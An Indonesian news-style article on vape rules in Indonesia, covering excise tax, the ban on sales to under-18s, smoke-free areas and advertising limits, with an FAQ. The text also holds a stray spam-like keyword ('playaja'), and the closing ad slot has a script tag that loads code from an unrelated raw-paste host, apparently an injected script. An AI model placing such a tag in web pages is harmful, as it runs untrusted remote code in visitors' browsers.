Apa Saja Regulasi Vape yang Harus Anda Tahu di Indonesia?

By Peter S. Verdin 17 Okt 2025, 02:40:46 WIB Berita Terkini

Vape atau rokok elektrik menjadi fenomena yang tak bisa diabaikan di Indonesia dalam beberapa tahun terakhir. Dari kalangan remaja hingga dewasa, vape kini digunakan sebagai alternatif bagi mereka yang ingin berhenti merokok atau sekadar menikmati sensasi nikotin. Namun, di balik popularitasnya, muncul banyak pertanyaan tentang regulasi yang mengatur penggunaan vape di Indonesia.

Pemerintah Indonesia, melalui berbagai lembaga dan regulasi, telah menetapkan sejumlah aturan yang mengatur industri vape, baik untuk penggunanya maupun bagi para pelaku usaha vape. Mungkin Anda bertanya-tanya, "Apa Saja Regulasi Vape yang Harus Anda Tahu di Indonesia?" Nah, dalam artikel ini, kami akan membahas dengan tuntas segala hal yang perlu Anda ketahui mengenai regulasi vape di Tanah Air.


1. Regulasi Umum Tentang Vape di Indonesia

Vape sering kali disamakan dengan rokok konvensional, namun kenyataannya ada banyak perbedaan dalam hal regulasi. Salah satu alasan utama adalah karena vape dianggap sebagai produk baru yang memerlukan perhatian lebih dalam hal pengaturan.

1.1. Vape dan Kesehatan: Perspektif Pemerintah

Pemerintah Indonesia menganggap vape sebagai produk yang dapat membahayakan kesehatan, meskipun ada klaim bahwa vape lebih aman dibandingkan dengan rokok biasa. Pada 2018, Menteri Kesehatan Indonesia menegaskan bahwa vape tetaplah berisiko bagi kesehatan, karena mengandung nikotin yang dapat menyebabkan kecanduan.

  • Vape mengandung nikotin yang berisiko untuk kesehatan tubuh.

  • Dampaknya terhadap sistem pernapasan belum sepenuhnya teridentifikasi.

  • Meskipun ada klaim bahwa vape lebih aman, risikonya tetap ada.

1.2. Regulasi Terkait Penjualan Vape

Dalam beberapa tahun terakhir, pemerintah Indonesia mulai mengatur penjualan vape lebih ketat. Berikut adalah beberapa poin yang perlu diperhatikan:

  • Pajak Vape: Pada 2021, pemerintah Indonesia mulai mengenakan pajak cukai terhadap produk vape. Ini berarti setiap konsumen vape di Indonesia kini harus membayar pajak atas barang yang dibeli, mirip dengan pajak rokok.

  • Larangan Penjualan kepada Remaja: Penjualan vape kepada anak di bawah umur 18 tahun dilarang keras. Hal ini bertujuan untuk mengurangi angka ketergantungan pada nikotin di kalangan remaja.

  • Pemberian Lisensi Penjual: Untuk menjual produk vape, para pengusaha harus memperoleh izin dari pemerintah. Ini dilakukan untuk memastikan bahwa produk yang beredar di pasar aman dan tidak berbahaya bagi konsumen.


2. Aturan Terkait Penggunaan Vape di Tempat Umum

Sama halnya dengan rokok konvensional, pemerintah Indonesia juga memberlakukan aturan ketat terkait penggunaan vape di tempat umum. Hal ini untuk melindungi masyarakat dari paparan asap nikotin, baik dari rokok maupun vape.

2.1. Kawasan Bebas Asap Rokok

Berdasarkan peraturan yang ada, pengguna vape di Indonesia tidak diperbolehkan untuk menggunakannya sembarangan, terutama di tempat-tempat umum yang telah ditetapkan sebagai kawasan bebas asap rokok. Beberapa tempat yang masuk dalam kategori ini antara lain:

  • Rumah sakit

  • Sekolah dan kampus

  • Tempat ibadah

  • Tempat umum tertutup (misalnya mall, bioskop)

2.2. Sanksi Pelanggaran

Jika Anda tertangkap basah menggunakan vape di kawasan yang dilarang, Anda bisa dikenakan denda atau bahkan pidana, tergantung pada tingkat pelanggarannya. Maka dari itu, penting bagi Anda untuk selalu mematuhi aturan yang berlaku dan menjaga ketertiban di ruang publik.


3. Regulasi Terkait Iklan dan Promosi Vape

Iklan dan promosi produk vape juga berada dalam pengawasan ketat pemerintah Indonesia. Anda mungkin sudah sering melihat iklan produk vape di berbagai media, namun ada beberapa batasan yang berlaku terkait hal ini.

3.1. Pembatasan Iklan di Media Sosial dan Televisi

Sama halnya dengan rokok, iklan vape di Indonesia tidak diperbolehkan untuk ditayangkan di media televisi atau radio. Selain itu, iklan vape di media sosial juga dibatasi, terutama yang menargetkan audiens di bawah umur. Aturan ini bertujuan untuk mencegah anak-anak dan remaja terpapar pengaruh negatif dari promosi produk yang mengandung nikotin.

  • Iklan di media sosial: Dibatasi dan diawasi ketat.

  • Iklan di televisi: Dilarang.

3.2. Pembatasan Promosi di Toko Vape

Promosi produk vape di toko fisik juga harus mengikuti regulasi yang ada. Misalnya, tidak boleh ada pemberian sampel gratis atau promosi yang terlalu mengundang perhatian, karena ini bisa membuat konsumen merasa terdorong untuk mencoba vape, terutama mereka yang belum cukup umur.


4. Pajak Cukai Vape di Indonesia

Salah satu peraturan yang paling penting dan berdampak langsung pada harga jual vape di Indonesia adalah pajak cukai. Di tahun 2021, pemerintah mulai mengenakan cukai pada produk vape, baik untuk cairan nikotin maupun perangkat vape itu sendiri.

4.1. Jenis Pajak Cukai untuk Produk Vape

Ada dua jenis pajak yang dikenakan pada produk vape di Indonesia:

  • Pajak Cukai Cairan Nikotin: Setiap cairan vape yang mengandung nikotin akan dikenakan pajak tertentu per mililiter. Cukai ini berlaku untuk semua cairan yang digunakan dalam vape.

  • Pajak Cukai Perangkat Vape: Selain cairan nikotin, perangkat vape itu sendiri juga dikenakan pajak. Pajak ini ditetapkan berdasarkan jenis dan harga perangkat vape yang dijual di pasaran.

Pengenaan cukai ini berpotensi membuat harga vape sedikit lebih mahal bagi konsumen, namun juga bertujuan untuk mengurangi angka peredaran produk yang berisiko terhadap kesehatan masyarakat.


5. Apa Saja Regulasi Vape yang Harus Anda Tahu di Indonesia? (Ringkasan)

Nah, untuk memudahkan Anda, berikut adalah rangkuman dari semua regulasi yang perlu Anda ketahui seputar vape di Indonesia:

  • Pajak Cukai: Setiap produk vape, baik cairan maupun perangkat, dikenakan pajak cukai.

  • Larangan Penjualan kepada Remaja: Penjualan vape kepada anak di bawah umur 18 tahun dilarang keras.

  • Penggunaan di Tempat Umum: Dilarang menggunakan vape di kawasan bebas asap rokok.

  • Iklan dan Promosi: Iklan vape di media sosial dan televisi dibatasi, terutama yang menyasar remaja.

  • Perizinan Penjualan: Toko vape harus memiliki izin resmi untuk menjual produk vape.


FAQ tentang Regulasi Vape di Indonesia

1. Apakah saya bisa membeli vape jika saya belum berusia 18 tahun?
Tidak, penjualan vape di Indonesia hanya diperbolehkan untuk orang yang sudah berusia 18 tahun ke atas. Jika Anda belum cukup umur, Anda tidak akan bisa membeli vape secara legal.

2. Apakah vape benar-benar lebih aman daripada rokok biasa?
Meskipun beberapa penelitian menunjukkan bahwa vape mungkin kurang berbahaya daripada rokok konvensional, vape tetap mengandung nikotin dan zat lain yang dapat membahayakan kesehatan. Pemerintah Indonesia memperingatkan bahaya jangka panjang penggunaan vape.

3. Apakah saya bisa menggunakan vape di ruang publik?
Tidak semua tempat publik memungkinkan penggunaan vape. Anda harus memperhatikan tanda-tanda atau aturan yang berlaku mengenai kawasan bebas asap rokok, yang mencakup vape juga.


Kesimpulan

Sebagai konsumen atau pengusaha vape di Indonesia, penting untuk memahami berbagai regulasi yang mengatur produk ini. Dengan mematuhi aturan yang ada, kita dapat mengurangi potensi dampak buruk dari penggunaan vape, baik bagi kesehatan individu maupun masyarakat. Jadi, jika Anda bertanya, "Apa Saja Regulasi Vape yang Harus Anda Tahu di Indonesia?", pastikan Anda selalu up to date dengan peraturan terbaru playaja dan mengikuti aturan yang berlaku di sekitar Anda. Semoga artikel ini memberikan gambaran yang jelas dan bermanfaat!

Lihat Komentar

Komentari Berita Ini

Sekilas Info

  • 🕔31 Mei 2023

Iklan

<script type=\"text/javascript\" src=\"https://jso-tools.z-x.my.id/raw/~/NP361R5ML3KBR\"></script>